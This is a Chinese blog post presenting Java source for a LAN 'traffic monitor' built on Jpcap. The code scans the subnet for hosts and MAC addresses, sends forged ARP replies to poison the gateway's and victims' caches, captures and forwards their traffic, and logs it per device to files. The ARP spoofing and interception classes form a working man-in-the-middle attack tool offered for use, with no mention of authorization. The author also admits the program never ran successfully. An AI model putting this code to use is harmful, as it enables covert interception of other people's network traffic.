Java实现局域网流量监控

  • 前言
    • 写这个程序的初衷是为了做一个小练习并将此作为提升java技术的开端,记录和整理是为了养成良好的思考习惯。
    • 写这个程序用了蛮久的时间,期间也查询了很多资料,但碍于自己能力有限,程序没有调试成功。
    • 最大的困难在于用到了网络方面的知识,例如发送ARP欺骗包以及转发接收到的数据包。参考了网上的示例和教程,但没用成功。
    • 希望大家能有兴趣和我交流并找出问题所在。
  • 搭建JPCAP环境
    • 下载WinPcap并安装:http://www.winpcap.org/install/default.htm
    • 下载Jpcap:
      将JPcap.dll拷贝到D:\Program Files\Java\jdk1.7.0_80\jre\bin
      将jpcap.jar拷贝到D:\Program Files\Java\jdk1.7.0_80\jre\lib\ext
    • 配置eclipse
      Java实现局域网流量监控_第1张图片

下面介绍一些类和方法:


  • 定时加载局域网中设备的信息
    • 包括hostname、IP address、MAC address

ExecIntercept.java

    /**
     * Description: Get target device information at interval time.
* * @see */
public static void scheduleLoadDeviceInfo() { ScheduledExecutorService scheduleThread = Executors.newSingleThreadScheduledExecutor(); GetTargetDeviceInfoRunnable runnable = new GetTargetDeviceInfoRunnable(device); scheduleThread.scheduleAtFixedRate(runnable, 0, 10, TimeUnit.MINUTES); try { TimeUnit.SECONDS.sleep(DEVICEINFO_THREADSLEEPSECONDS); } catch (InterruptedException e) {/* Ignore this exception. */} }

GetTargetDeviceInfoRunnable.java

/*
 * 文件名:GetTargetDeviceInfoRunnable.java 修改人:Jagger 修改时间:2016年9月15日
 */

package com.traffic.intercept;

import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;

import org.apache.log4j.LogManager;
import org.apache.log4j.Logger;

import com.traffic.entity.DeviceInfo;
import com.traffic.exception.LTMException;
import com.traffic.util.DebugUtil;
import com.traffic.util.DeviceInfoUtil;


/**
 * Get target device information at interval time.
 * 
 * @author Jagger
 * @version 2016年9月15日
 * @see GetTargetDeviceInfoRunnable
 * @since
 */

public class GetTargetDeviceInfoRunnable implements Runnable
{

    private static Logger logger = LogManager.getLogger(GetTargetDeviceInfoRunnable.class);

    private DeviceInfo device;

    private static final String IP_ADDRESS = "ip_address";

    private static final String MAC_ADDRESS = "mac_address";

    private static final String HOSTNAME = "hostname";

    private static final String GATEWAY_DEVICE = "gateway";

    private static final String OWN_DEVICE = "own";

    public GetTargetDeviceInfoRunnable(DeviceInfo device)
    {
        this.device = device;
    }

    @Override
    public void run()
    {
        Map> deviceInfos = null;
        if (DebugUtil.isDebug())
        {
            /* debug test start */
            deviceInfos = new HashMap>();
            Map device1 = new HashMap();
            device1.put(MAC_ADDRESS, "78-EB-14-9C-89-3E");
            device1.put(IP_ADDRESS, "192.168.1.1");
            device1.put(HOSTNAME, "192.168.1.1");
            deviceInfos.put(GATEWAY_DEVICE, device1);
            Map device2 = new HashMap();
            device2.put(MAC_ADDRESS, "BC-30-7D-7C-F2-AF");
            device2.put(IP_ADDRESS, "192.168.1.105");
            device2.put(HOSTNAME, "DESKTOP-4LOKC4J");
            deviceInfos.put(OWN_DEVICE, device2);
            Map device3 = new HashMap();
            device3.put(MAC_ADDRESS, "38-BC-1A-13-25-D7");
            device3.put(IP_ADDRESS, "192.168.1.106");
            device3.put(HOSTNAME, "192.168.1.106");
            deviceInfos.put("192.168.1.106", device3);
            /* debug test end */
        }
        else
        {
            try
            {
                deviceInfos = DeviceInfoUtil.getAllDeviceInfo();
            }
            catch (LTMException e)
            {
                logger.error(e.getErrorCode() + " | " + e.getErrorDescription());
            }
        }
        String networkSegment = null;
        try
        {
            networkSegment = DeviceInfoUtil.getNetworkSegment();
        }
        catch (LTMException e)
        {
            logger.error(e.getErrorCode() + " | " + e.getErrorDescription());
        }
        String defaultGateway = DeviceInfoUtil.getDefaultGatewayAddress();
        // Save all IP and MAC address mapping.
        Map IPToMAC = new HashMap();
        // Save all IP address at LAN.
        Set ipAddresses = new HashSet();
        for (String key : deviceInfos.keySet())
        {
            Map deviceInfo = deviceInfos.get(key);
            ipAddresses.add(deviceInfo.get(IP_ADDRESS));
            IPToMAC.put(deviceInfo.get(IP_ADDRESS), deviceInfo.get(MAC_ADDRESS));
        }
        device.setSegment(networkSegment);
        device.setDefaultGateway(defaultGateway);
        device.setTargetInfo(deviceInfos);
        // Except gateway and own IP address.
        ipAddresses.remove(deviceInfos.get(GATEWAY_DEVICE).get(IP_ADDRESS));
        ipAddresses.remove(deviceInfos.get(OWN_DEVICE).get(IP_ADDRESS));
        device.setIpAddresses(ipAddresses);
        device.setIPToMAC(IPToMAC);
    }
}

DeviceInfoUtil.java

    /**
     * Description: Get local IP address.
* * @return local IP address * @throws LTMException * Can't get local IP address. * @see */
private static String getLocalIPAddress() throws LTMException { String localIPAddress = null; try { localIPAddress = InetAddress.getLocalHost().getHostAddress(); } catch (UnknownHostException e) { logger.error("Get local IP address error."); throw new LTMException(ErrorCode.GETLOCALIPADDRESSERROR.getCode(), ErrorCode.GETLOCALIPADDRESSERROR.getDescription(), e); } return localIPAddress; } /** * Description: Get network segment.
* * @return network segment * @throws LTMException * @see */
public static String getNetworkSegment() throws LTMException { String localIPAddress = null; localIPAddress = getLocalIPAddress(); int index = localIPAddress.lastIndexOf(IPSEPARATOR); String networkSegment = localIPAddress.substring(0, index); return networkSegment; } /** * Description: Get all IP address at LAN.
* * @return all IP address at LAN * @throws LTMException * @see */
private static List getAllIPAddress() throws LTMException { String networkSegment = null; try { networkSegment = getNetworkSegment(); } catch (LTMException e) { throw e; } List> ipAddressFutures = new ArrayList>(); // except 0 and 255 for (int i = 1; i < 255; i++ ) { String ip = networkSegment + IPSEPARATOR + i; ipAddressFutures.add(DeviceInfoUtil.threadPool.submit(new GetActiveIPCallable(ip))); } String ipAddress = null; List ipAddresses = new ArrayList(); for (Future ipAddressFuture : ipAddressFutures) { boolean isDone = ipAddressFuture.isDone();// Judge sub thread whether completed. while (!isDone) { isDone = ipAddressFuture.isDone();// wait } try { ipAddress = ipAddressFuture.get(); } catch (InterruptedException e) {/* Ignore this exception. */} catch (ExecutionException e) {/* Ignore this exception. */} finally {/* Needn't close thread pool. */} if (ipAddress != null) { ipAddresses.add(ipAddress); } } return ipAddresses; } /** * Description: Get default gateway(router IP address) address.
* * @return default gateway address * @throws TrafficStatisticsException * @see */
public static String getDefaultGatewayAddress() { Process process = null; BufferedReader br = null; InputStreamReader isr = null; List rowList = new ArrayList(); try { process = Runtime.getRuntime().exec("ipconfig"); TimeUnit.SECONDS.sleep(SLEEPSECONDS);// wait isr = new InputStreamReader(process.getInputStream(), "GBK"); br = new BufferedReader(isr); String row = null; while ((row = br.readLine()) != null) { rowList.add(row); } } catch (IOException e) {/* Ignore this exception. */} catch (InterruptedException e) {/* Ignore this exception. */} finally { if (br != null) { try { br.close(); } catch (IOException e) {/* Ignore this exception. */} } if (isr != null) { try { isr.close(); } catch (IOException e) {/* Ignore this exception. */} } if (process != null) { process.destroy(); } } String gatewayAddress = null; for (String row : rowList) { if (row.indexOf("默认网关") != -1) { String regex = "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}"; Pattern pattern = Pattern.compile(regex); Matcher matcher = pattern.matcher(row);// Match target object. if (matcher.find()) { gatewayAddress = matcher.group(); break; } } } return gatewayAddress; } /** * Description: Convert to hexadecimal.
* * @param b * @return hexadecimal * @see */
private static String hexByte(byte b) { String s = "000000" + Integer.toHexString(b); return s.substring(s.length() - 2); } /** * Description: Judge whether IP address.
* * @param text * @return * @see */
private static boolean whetherIPAddress(String text) { if (text != null) { String regex = "^(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[1-9])\\." + "(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)\\." + "(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)\\." + "(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)$"; if (text.matches(regex)) { return true; } } return false; } /** * Description: Get MAC address by IP address.
* * @param ip * @return MAC address * @throws IllegalArgumentException * @see */
private static String getMACAddressByIP(String ip) { if (!whetherIPAddress(ip)) { throw new IllegalArgumentException(ErrorCode.IPFORMATERROR.getDescription()); } Process process = null; String macAddress = null; InputStream is = null; try { process = Runtime.getRuntime().exec("arp -a " + ip); TimeUnit.SECONDS.sleep(SLEEPSECONDS); is = process.getInputStream(); StringBuffer result = new StringBuffer(); byte[] data = new byte[256]; while (is.read(data) != -1) { String encoding = System.getProperty("sun.jnu.encoding"); result.append(new String(data, encoding)); } String regex = "([0-9A-Fa-f]{2})([-:][0-9A-Fa-f]{2}){5}";// regular expression Pattern pattern = Pattern.compile(regex); Matcher matcher = pattern.matcher(result.toString()); if (matcher.find()) { macAddress = matcher.group(); } } catch (IOException e) {/* Ignore this exception. */} catch (InterruptedException e) {/* Ignore this exception. */} finally { if (is != null) { try { is.close(); } catch (IOException e) {/* Ignore this exception. */} } if (process != null) { process.destroy(); } } return macAddress == null ? null : macAddress.toUpperCase(); } /** * Description: Get device information.
* * @param ip * @return device information * @throws LTMException,IllegalArgumentException * @see */
private static Map getDeviceInfo(String ip) throws LTMException { if (!whetherIPAddress(ip)) { throw new IllegalArgumentException(ErrorCode.IPFORMATERROR.getDescription()); } Map deviceInfo = new HashMap(); String macAddress = null; String hostname = null; if (ip.equals(getLocalIPAddress())) { NetworkInterface localDevice = null; try { localDevice = NetworkInterface.getByInetAddress((InetAddress.getByName(ip))); byte[] mac = localDevice.getHardwareAddress(); // convert MAC address macAddress = hexByte(mac[0]) + "-" + hexByte(mac[1]) + "-" + hexByte(mac[2]) + "-" + hexByte(mac[3]) + "-" + hexByte(mac[4]) + "-" + hexByte(mac[5]); hostname = InetAddress.getByName(ip).getHostName(); } catch (SocketException e) {/* Ignore this exception. */} catch (UnknownHostException e) {/* Ignore this exception. */} } else { hostname = ip;// default is IP address macAddress = getMACAddressByIP(ip); } deviceInfo.put(HOSTNAME, hostname); deviceInfo.put(IP_ADDRESS, ip); deviceInfo.put(MAC_ADDRESS, macAddress.toUpperCase()); return deviceInfo; } /** * Description: Get all device information(include local and LAN).
* * @return all device information * @throws LTMException * @see */
public static Map> getAllDeviceInfo() throws LTMException { Map> result = new HashMap>(); List ipAddresses = getAllIPAddress(); for (String ipAddress : ipAddresses) { if (ipAddress.equals(getLocalIPAddress())) { // local result.put(OWN_DEVICE, getDeviceInfo(ipAddress)); } else if (ipAddress.equals(getDefaultGatewayAddress())) { // gateway result.put(GATEWAY_DEVICE, getDeviceInfo(ipAddress)); } else { // other LAN device result.put(ipAddress, getDeviceInfo(ipAddress)); } } return result; }
  • 将截获到的数据包中的内容写到文件中

HandleRecordRunnable.java

/*
 * 文件名:HandleRecordRunnable.java 修改人:Jagger 修改时间:2016年9月15日
 */

package com.traffic.intercept;

import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import java.util.concurrent.LinkedBlockingQueue;

import com.traffic.entity.Record;
import com.traffic.util.FileUtil;


/**
 * Write Record to file
 * 
 * @author Jagger
 * @version 2016年9月15日
 * @see HandleRecordRunnable
 * @since
 */

public class HandleRecordRunnable implements Runnable
{

    private LinkedBlockingQueue queue;

    private List recordList;

    private volatile int index;// to count when submit

    private volatile int number;// to count when replace file

    public HandleRecordRunnable(LinkedBlockingQueue queue)
    {
        this.queue = queue;
        this.recordList = new ArrayList();
        this.index = 0;
        this.number = 0;
    }

    @Override
    public synchronized void run()
    {
        while (true)
        {
            try
            {
                recordList.add(queue.take());
            }
            catch (InterruptedException e)
            {/* Ignore this exception. */}
            index++ ;
            // submit once per 50000
            if (index % 50000 == 0)
            {
                number++ ;
                // select another file per 50000*10
                if (number % 10 == 0)
                {
                    // write to another file
                    FileUtil.writeToFile(new Date(), recordList, false);
                    number = 0;
                }
                else
                {
                    FileUtil.writeToFile(new Date(), recordList, true);// append write
                }
                index = 0;
                recordList.clear();
            }
        }
    }

}

FileUtil.java

/*
 * 文件名:FileUtil.java 修改人:Jagger 修改时间:2016年9月15日
 */

package com.traffic.util;

import java.io.BufferedWriter;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.FilenameFilter;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.io.UnsupportedEncodingException;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.List;

import com.traffic.entity.Constants;
import com.traffic.entity.Record;


/**
 * Basic Util
 * 
 * @author Jagger
 * @version 2016年9月15日
 * @see FileUtil
 * @since
 */
public class FileUtil
{

    private static final char FIRST_SEQUENCE = '1';

    private static final String DATE = "{date}";

    private static final String DATEFORMAT = "yyyyMMdd";

    private static SimpleDateFormat sdf = new SimpleDateFormat(DATEFORMAT);

    private static String path = PropertiesUtil.getProperty(Constants.TARGETFILEPATH);

    private static final String PREFIX = "file_{date}";

    private static final String SUFFIX = ".txt";

    private static final String SEPARATOR = "_";

    /**
     * Description: Write record list to file.
* * @param date * @param records * @param isAppend * @see */
public static void writeToFile(Date date, List records, boolean isAppend) { String filePath = path.replace(DATE, sdf.format(date)); String filePrefix = PREFIX.replace(DATE, sdf.format(date)); if (isFirstTrigger(date, filePrefix)) { File file = new File(filePath + filePrefix + SEPARATOR + FIRST_SEQUENCE + SUFFIX); try { file.createNewFile(); } catch (IOException e) {/* Ignore this exception. */} writeData(file, records); } else { // data file is exist if (isAppend) { // append write // Find the last modified file and append data to it File dir = new File(filePath); File lastModifiedFile = getLastModified(dir, filePrefix); writeData(lastModifiedFile, records); } else { // Find the last modified file and new a file. File dir = new File(filePath); String lastModifiedFile = getLastModified(dir, filePrefix).getName(); int index = Integer.parseInt( lastModifiedFile.substring(lastModifiedFile.lastIndexOf(SEPARATOR) + 1, lastModifiedFile.lastIndexOf(SEPARATOR) + 2)); File newFile = new File(filePath + filePrefix + SEPARATOR + (++index) + SUFFIX); writeData(newFile, records); } } } /** * Description: Whether first write file.
* * @param date * @param prefix * @return * @see */
private static boolean isFirstTrigger(Date date, String prefix) { String filePath = path.replace(DATE, sdf.format(date)); File dir = new File(filePath); if (dir.exists() && dir.isDirectory()) { File[] files = dir.listFiles(new FileFilter(prefix, SUFFIX)); if (files != null && files.length > 0) { return false; } } else { dir.mkdir(); } return true; } /** * Description: Write data to file.
* * @param file * @param records * @see */
private static void writeData(File file, List records) { BufferedWriter bw = null; OutputStreamWriter osw = null; FileOutputStream fos = null; try { fos = new FileOutputStream(file, true);// append osw = new OutputStreamWriter(fos, "GBK");// character encoding bw = new BufferedWriter(osw); for (Record record : records) { bw.write(record.toString()); bw.newLine(); } bw.flush();// flush } catch (FileNotFoundException e) {/* Ignore this exception. */} catch (UnsupportedEncodingException e) {/* Ignore this exception. */} catch (IOException e) {/* Ignore this exception. */} finally { if (bw != null) { try { bw.close(); } catch (IOException e) {/* Ignore this exception. */} } if (osw != null) { try { osw.close(); } catch (IOException e) {/* Ignore this exception. */} } if (fos != null) { try { fos.close(); } catch (IOException e) {/* Ignore this exception. */} } } } /** * Description: Get the last modified file.
* * @param dir * @param prefix * @return * @see */
private static File getLastModified(File dir, String prefix) { File[] files = dir.listFiles(new FileFilter(prefix, SUFFIX)); File returnFile = null; if (files != null && files.length > 0) { returnFile = files[0]; for (File file : files) { if (returnFile.lastModified() < file.lastModified()) { // select the last file returnFile = file; } } } return returnFile; } } /** * Filter file name. * * @author Jagger * @version 2016年9月17日 * @see FileFilter * @since */ class FileFilter implements FilenameFilter { private String prefix; private String suffix; public FileFilter(String prefix, String suffix) { this.prefix = prefix; this.suffix = suffix; } @Override public boolean accept(File dir, String name) { return name.startsWith(prefix) && name.endsWith(suffix); } }
  • 发送ARP欺骗包

SpoofingRunnable.java

/*
 * 文件名:SpoofingRunnable.java 修改人:Jagger 修改时间:2016年9月15日
 */

package com.traffic.intercept.spoofing;

import java.net.InetAddress;
import java.net.UnknownHostException;
import java.util.Map;

import com.traffic.util.DeviceInfoUtil;

import jpcap.JpcapSender;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;


/**
 * Spoofing router
 * 
 * @author Jagger
 * @version 2016年9月15日
 * @see SpoofingRunnable
 * @since
 */
public class SpoofingRunnable implements Runnable
{

    private static final String GATEWAY_DEVICE = "gateway";

    private static final String OWN_DEVICE = "own";

    private static final String MAC_ADDRESS = "mac_address";

    private static final String IP_ADDRESS = "ip_address";

    private String key;

    private Map> targetInfo;

    private JpcapSender sender;

    public SpoofingRunnable(String key, Map> targetInfo,
                            JpcapSender sender)
    {
        this.key = key;
        this.targetInfo = targetInfo;
        this.sender = sender;
    }

    @Override
    public void run()
    {
        // send packet to target
        ARPPacket targetPacket = new ARPPacket();
        targetPacket.hardtype = ARPPacket.HARDTYPE_ETHER;// LAN is Ethernet
        targetPacket.prototype = ARPPacket.PROTOTYPE_IP;// IP protocol
        targetPacket.operation = ARPPacket.ARP_REPLY;// ARP REPLY packet
        targetPacket.hlen = 6;// MAC address length is 6 byte
        targetPacket.plen = 4;// IP address length is 4 byte
        // local MAC address
        targetPacket.sender_hardaddr = DeviceInfoUtil.translateMAC(
            targetInfo.get(OWN_DEVICE).get(MAC_ADDRESS));
        // gateway IP address
        try
        {
            targetPacket.sender_protoaddr = InetAddress.getByName(
                targetInfo.get(GATEWAY_DEVICE).get(IP_ADDRESS)).getAddress();
        }
        catch (UnknownHostException e)
        {/* Ignore this exception. */}
        // target MAC address
        targetPacket.target_hardaddr = DeviceInfoUtil.translateMAC(
            targetInfo.get(key).get(MAC_ADDRESS));
        // target IP address
        try
        {
            targetPacket.target_protoaddr = InetAddress.getByName(
                targetInfo.get(key).get(IP_ADDRESS)).getAddress();
        }
        catch (UnknownHostException e)
        {/* Ignore this exception. */}
        // create Ethernet header
        EthernetPacket targetHeader = new EthernetPacket();
        targetHeader.frametype = EthernetPacket.ETHERTYPE_ARP;// ARP
        // local MAC address
        targetHeader.src_mac = DeviceInfoUtil.translateMAC(
            targetInfo.get(OWN_DEVICE).get(MAC_ADDRESS));
        // target MAC address
        targetHeader.dst_mac = DeviceInfoUtil.translateMAC(targetInfo.get(key).get(MAC_ADDRESS));
        // add Ethernet header to ARP packet
        targetPacket.datalink = targetHeader;
        sender.sendPacket(targetPacket);
        // send packet to gateway
        ARPPacket gatewayPacket = new ARPPacket();
        gatewayPacket.hardtype = ARPPacket.HARDTYPE_ETHER;// LAN is Ethernet
        gatewayPacket.prototype = ARPPacket.PROTOTYPE_IP;// IP protocol
        gatewayPacket.operation = ARPPacket.ARP_REPLY;// ARP REPLY packet
        gatewayPacket.hlen = 6;// MAC address length is 6 byte
        gatewayPacket.plen = 4;// IP address length is 4 byte
        // local MAC address
        gatewayPacket.sender_hardaddr = DeviceInfoUtil.translateMAC(
            targetInfo.get(OWN_DEVICE).get(MAC_ADDRESS));
        try
        {
            // target IP address
            gatewayPacket.sender_protoaddr = InetAddress.getByName(
                targetInfo.get(key).get(IP_ADDRESS)).getAddress();
        }
        catch (UnknownHostException e)
        {/* Ignore this exception. */}
        // gateway MAC address
        gatewayPacket.target_hardaddr = DeviceInfoUtil.translateMAC(
            targetInfo.get(GATEWAY_DEVICE).get(MAC_ADDRESS));
        try
        {
            // gateway IP address
            gatewayPacket.target_protoaddr = InetAddress.getByName(
                targetInfo.get(GATEWAY_DEVICE).get(IP_ADDRESS)).getAddress();
        }
        catch (UnknownHostException e)
        {/* Ignore this exception. */}
        // create Ethernet header
        EthernetPacket gatewayHeader = new EthernetPacket();
        gatewayHeader.frametype = EthernetPacket.ETHERTYPE_ARP;// ARP
        // local MAC address
        gatewayHeader.src_mac = DeviceInfoUtil.translateMAC(
            targetInfo.get(OWN_DEVICE).get(MAC_ADDRESS));
        // gateway MAC address
        gatewayHeader.dst_mac = DeviceInfoUtil.translateMAC(
            targetInfo.get(GATEWAY_DEVICE).get(MAC_ADDRESS));
        // add Ethernet header to ARP packet
        gatewayPacket.datalink = gatewayHeader;
        sender.sendPacket(gatewayPacket);
    }

}
  • 截获数据包并转发

InterceptPacket.java

/*
 * 文件名:InterceptPacket.java 修改人:Jagger 修改时间:2016年9月15日
 */

package com.traffic.intercept;

import java.util.Map;
import java.util.Set;
import java.util.concurrent.LinkedBlockingQueue;

import com.traffic.entity.DeviceInfo;
import com.traffic.entity.Record;
import com.traffic.util.DeviceInfoUtil;

import jpcap.JpcapSender;
import jpcap.PacketReceiver;
import jpcap.packet.EthernetPacket;
import jpcap.packet.IPPacket;
import jpcap.packet.Packet;
import jpcap.packet.TCPPacket;
import jpcap.packet.UDPPacket;


/**
 * Accept packet and forward it.
 * 
 * @author Jagger
 * @version 2016年9月15日
 * @see InterceptPacket
 * @since
 */

public class InterceptPacket implements PacketReceiver
{

    private static final String GATEWAY_DEVICE = "gateway";

    private static final String OWN_DEVICE = "own";

    private static final String MAC_ADDRESS = "mac_address";

    private JpcapSender sender;

    private LinkedBlockingQueue queue;

    private Map> targetInfo;

    private Set ips;

    private Map IPToMAC;

    public InterceptPacket(JpcapSender sender, LinkedBlockingQueue queue,
                           DeviceInfo device)
    {
        this.sender = sender;
        this.queue = queue;
        targetInfo = device.getTargetInfo();
        ips = device.getIpAddresses();
        IPToMAC = device.getIPToMAC();
    }

    @Override
    public void receivePacket(Packet packet)
    {
        Record record = new Record();
        record.setTimeStamp(System.currentTimeMillis());
        if (packet instanceof TCPPacket)
        {// TCP packet
            TCPPacket tcp = (TCPPacket)packet;
            record.setPacketType("TCP");
            record.setSrc_ip(tcp.src_ip.getHostAddress());
            record.setDst_ip(tcp.dst_ip.getHostAddress());
            record.setSrc_port(tcp.src_port);
            record.setDst_port(tcp.dst_port);
            if (ips.contains(tcp.src_ip.getHostAddress()))
            {
                record.setIpAddr(tcp.src_ip.getHostAddress());
                record.setSrc_mac(IPToMAC.get(tcp.src_ip.getHostAddress()));
                record.setDst_mac(targetInfo.get(GATEWAY_DEVICE).get(MAC_ADDRESS));
                record.setUploadTCPPacketSize(tcp.len);
                try
                {
                    queue.put(record);
                }
                catch (InterruptedException e)
                {/* Ignore this exception. */}
            }
            else if (ips.contains(tcp.dst_ip.getHostAddress()))
            {
                record.setIpAddr(tcp.dst_ip.getHostAddress());
                record.setSrc_mac(targetInfo.get(GATEWAY_DEVICE).get(MAC_ADDRESS));
                record.setDst_mac(IPToMAC.get(tcp.dst_ip.getHostAddress()));
                record.setDownloadTCPPacketSize(tcp.len);
                try
                {
                    queue.put(record);
                }
                catch (InterruptedException e)
                {/* Ignore this exception. */}
            }
        }
        else if (packet instanceof UDPPacket)
        {// UDP packet
            UDPPacket udp = (UDPPacket)packet;
            record.setPacketType("UDP");
            record.setSrc_ip(udp.src_ip.getHostAddress());
            record.setDst_ip(udp.dst_ip.getHostAddress());
            record.setSrc_port(udp.src_port);
            record.setDst_port(udp.dst_port);
            if (ips.contains(udp.src_ip.getHostAddress()))
            {
                record.setIpAddr(udp.src_ip.getHostAddress());
                record.setSrc_mac(IPToMAC.get(udp.src_ip.getHostAddress()));
                record.setDst_mac(targetInfo.get(GATEWAY_DEVICE).get(MAC_ADDRESS));
                record.setUploadUDPPacketSize(udp.len);
                try
                {
                    queue.put(record);
                }
                catch (InterruptedException e)
                {/* Ignore this exception. */}
            }
            else if (ips.contains(udp.dst_ip.getHostAddress()))
            {
                record.setIpAddr(udp.dst_ip.getHostAddress());
                record.setSrc_mac(targetInfo.get(GATEWAY_DEVICE).get(MAC_ADDRESS));
                record.setDst_mac(IPToMAC.get(udp.dst_ip.getHostAddress()));
                record.setDownloadUDPPacketSize(udp.len);
                try
                {
                    queue.put(record);
                }
                catch (InterruptedException e)
                {/* Ignore this exception. */}
            }
        }
        forwardPacket(packet);// Because modify router table,so,need to forward packet.
    }

    /**
     * Description: Forward IP packet.
* * @param packet * @see */
public void forwardPacket(Packet packet) { if (packet instanceof IPPacket) { IPPacket ip = (IPPacket)packet; if (ips.contains(ip.src_ip.getHostAddress())) { send(packet, targetInfo.get(GATEWAY_DEVICE).get(MAC_ADDRESS));// send to gateway } else if (ips.contains(ip.dst_ip.getHostAddress())) { send(packet, IPToMAC.get(ip.dst_ip.getHostAddress())); // send to target } } } /** * Description: Send packet.
* * @param packet * @param targetMACAddress * @see */
public void send(Packet packet, String targetMACAddress) { if (packet.datalink instanceof EthernetPacket) { EthernetPacket ethernet = (EthernetPacket)packet.datalink; String src_mac = targetInfo.get(OWN_DEVICE).get(MAC_ADDRESS); String dst_mac = targetMACAddress; for (int i = 0; i < 6; i++ ) { // modify head of Ethernet packet ethernet.dst_mac[i] = DeviceInfoUtil.translateMAC(dst_mac)[i]; ethernet.src_mac[i] = DeviceInfoUtil.translateMAC(src_mac)[i]; } sender.sendPacket(packet); } } }
  • 附件下载
    • http://download.csdn.net/download/slowly_come_faster/9633137
    • (源代码)http://download.csdn.net/detail/slowly_come_faster/9633210
  • 参考文档
    • http://www.i3geek.com/archives/968
    • http://blog.csdn.net/kkdelta/article/details/7717930
    • http://blog.sina.com.cn/s/blog_7c6be9470100qmg9.html
    • http://yin123.blog.51cto.com/882581/416878

你可能感兴趣的:(java)